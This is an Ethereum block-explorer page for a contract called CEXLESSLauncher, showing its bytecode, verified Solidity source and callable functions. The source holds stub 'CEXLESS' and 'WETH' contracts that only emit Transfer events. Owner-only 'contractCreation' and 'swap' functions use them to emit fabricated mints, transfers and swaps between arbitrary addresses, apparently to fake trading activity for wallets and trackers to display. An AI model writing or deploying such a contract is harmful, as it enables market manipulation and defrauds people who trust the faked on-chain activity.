Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x17dd0c1b8d10d5F4ECa47a5F79A211ec99c80F29
Balance 0 ETH
Nonce 1
Code Size 2073 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

2073 bytes
0x608060405234801561000f575f80fd5b5060043610610060575f3560e01c806352ce04ba14610064578063715018a61461008057806389675cac1461008a5780638da5cb5b146100a6578063ebc22e93146100c4578063fe029156146100e0575b5f80fd5b61007e6004803603810190610079919061066c565b6100fc565b005b61008861021e565b005b6100a4600480360381019061009f91906106aa565b610231565b005b6100ae6102bd565b6040516100bb91906106f7565b60405180910390f35b6100de60048036038101906100d99190610710565b6102e4565b005b6100fa60048036038101906100f5919061073b565b610368565b005b61010461048c565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b2f6785f84846040518463ffffffff1660e01b8152600401610162939291906107ae565b5f604051808303815f87803b158015610179575f80fd5b505af115801561018b573d5f803e3d5ffd5b5050505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b2f6788333846040518463ffffffff1660e01b81526004016101ed939291906107ae565b5f604051808303815f87803b158015610204575f80fd5b505af1158015610216573d5f803e3d5ffd5b505050505050565b61022661048c565b61022f5f610513565b565b61023961048c565b8160025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6102ec61048c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361035c575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161035391906106f7565b60405180910390fd5b61036581610513565b50565b61037061048c565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b2f6788585856040518463ffffffff1660e01b81526004016103ce939291906107ae565b5f604051808303815f87803b1580156103e5575f80fd5b505af11580156103f7573d5f803e3d5ffd5b5050505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8486846040518463ffffffff1660e01b8152600401610459939291906107ae565b5f604051808303815f87803b158015610470575f80fd5b505af1158015610482573d5f803e3d5ffd5b5050505050505050565b6104946105d4565b73ffffffffffffffffffffffffffffffffffffffff166104b26102bd565b73ffffffffffffffffffffffffffffffffffffffff1614610511576104d56105d4565b6040517f118cdaa700000000000000000000000000000000000000000000000000000000815260040161050891906106f7565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f33905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610608826105df565b9050919050565b610618816105fe565b8114610622575f80fd5b50565b5f813590506106338161060f565b92915050565b5f819050919050565b61064b81610639565b8114610655575f80fd5b50565b5f8135905061066681610642565b92915050565b5f8060408385031215610682576106816105db565b5b5f61068f85828601610625565b92505060206106a085828601610658565b9150509250929050565b5f80604083850312156106c0576106bf6105db565b5b5f6106cd85828601610625565b92505060206106de85828601610625565b9150509250929050565b6106f1816105fe565b82525050565b5f60208201905061070a5f8301846106e8565b92915050565b5f60208284031215610725576107246105db565b5b5f61073284828501610625565b91505092915050565b5f805f8060808587031215610753576107526105db565b5b5f61076087828801610625565b945050602061077187828801610625565b935050604061078287828801610658565b925050606061079387828801610658565b91505092959194509250565b6107a881610639565b82525050565b5f6060820190506107c15f8301866106e8565b6107ce60208301856106e8565b6107db604083018461079f565b94935050505056fea2646970667358221220d699c7fb1fd79fe7a8c85131a0b28dc3a751e656daa317c2687c02237c31e47664736f6c634300081a0033

Verified Source Code Partial Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
CEXLESSLauncher.sol 156 lines
//SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership_9816(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract CEXLESS {
event Transfer(address indexed from, address indexed to, uint256 value);
    function emtTransfer_9816(address from, address to, uint256 amount) public{
        emit Transfer(from, to, amount);
    }
}

contract WETH  {
event Transfer(address indexed from, address indexed to, uint256 value);
function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external {
        emit Transfer(from, to, amount);
    }

    function emtTransfer_9816(address from, address to, uint256 amount) public{
        emit Transfer(from, to, amount);
    }
}

contract CEXLESSLauncher is Ownable{
    WETH private _weth;
    CEXLESS private _token;

    constructor()
    Ownable(msg.sender){
    }

    function set(address token, address weth) public onlyOwner {
        _token = CEXLESS(token);
        _weth = WETH(weth);
    }

    function contractCreation(address deployer, uint256 amount) public onlyOwner{
        _token.emtTransfer_9816(address(0), deployer, amount);
        _token.emtTransfer_9816(deployer, msg.sender, amount);
    }

    function swap(
        address pair,
        address buyer,
        uint256 amountTokens,
        uint256 amountWBNB
    ) external onlyOwner {
        // Emit Transfer event for Token A (from B to C)
        _token.emtTransfer_9816(pair, buyer, amountTokens);
        
        // Emit Transfer event for Token T (from C to B)
        _weth.transferFrom(buyer, pair, amountWBNB);
    }
}

Read Contract

owner 0x8da5cb5b → address

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

contractCreation 0x52ce04ba
address deployer
uint256 amount
renounceOwnership 0x715018a6
No parameters
set 0x89675cac
address token
address weth
swap 0xfe029156
address pair
address buyer
uint256 amountTokens
uint256 amountWBNB
transferOwnership_9816 0xebc22e93
address newOwner

Recent Transactions

No transactions found for this address